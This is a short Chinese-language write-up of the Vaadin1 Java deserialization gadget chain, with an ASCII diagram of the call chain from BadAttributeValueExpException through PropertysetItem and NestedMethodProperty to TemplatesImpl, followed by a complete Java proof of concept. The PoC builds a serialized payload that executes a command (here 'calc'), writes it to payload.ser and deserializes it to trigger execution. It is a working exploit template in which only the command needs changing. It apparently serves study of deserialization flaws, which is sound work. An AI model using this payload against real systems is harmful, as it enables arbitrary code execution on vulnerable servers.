Java反序列化之Vaadin1
BadAttributeValueExpException+PropertysetItem+NestedMethodProperty
调用链
// +-------------------------------------------------+
// | |
// | BadAttributeValueExpException |
// | |
// | val ==> PropertysetItem |
// | |
// | readObject() ==> val.toString() |
// | + |
// +----------|--------------------------------------+
// |
// |
// |
// +----|-----------------------------------------+
// | v |
// | PropertysetItem |
// | |
// | toString () => getPropertyId().getValue () |
// | + |
// +---------------------------------------|------+
// |
// +-----------------------------+
// |
// +-----|----------------------------------------------+
// | v |
// | NestedMethodProperty |
// | |
// | getValue() => java.lang.reflect.Method.invoke () |
// | | |
// +-------------------------------------------|--------+
// |
// +-----------------------------------+
// |
// +---|--------------------------------------------+
// | v |
// | TemplatesImpl.getOutputProperties() |
// | |
// +------------------------------------------------+
POC验证
import com.icbc.javasec.javaserial.utils.Gadgets;
import com.icbc.javasec.javaserial.utils.Reflections;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
//需要在1.7.80版本才可以触发
public class Vaadin1Test {
public static void main(String[] args) throws Exception{
String command = "calc";
Object templ = Gadgets.createTemplatesImpl (command);
PropertysetItem pItem = new PropertysetItem ();
NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object> (templ, "outputProperties");
pItem.addItemProperty ("outputProperties", nmprop);
BadAttributeValueExpException b = new BadAttributeValueExpException (null);
Reflections.setFieldValue (b, "val", pItem);
FileOutputStream fos = new FileOutputStream("payload.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(b);
oos.flush();
oos.close();
FileInputStream fis = new FileInputStream("payload.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object newObj = ois.readObject();
ois.close();
}
}
最后更新于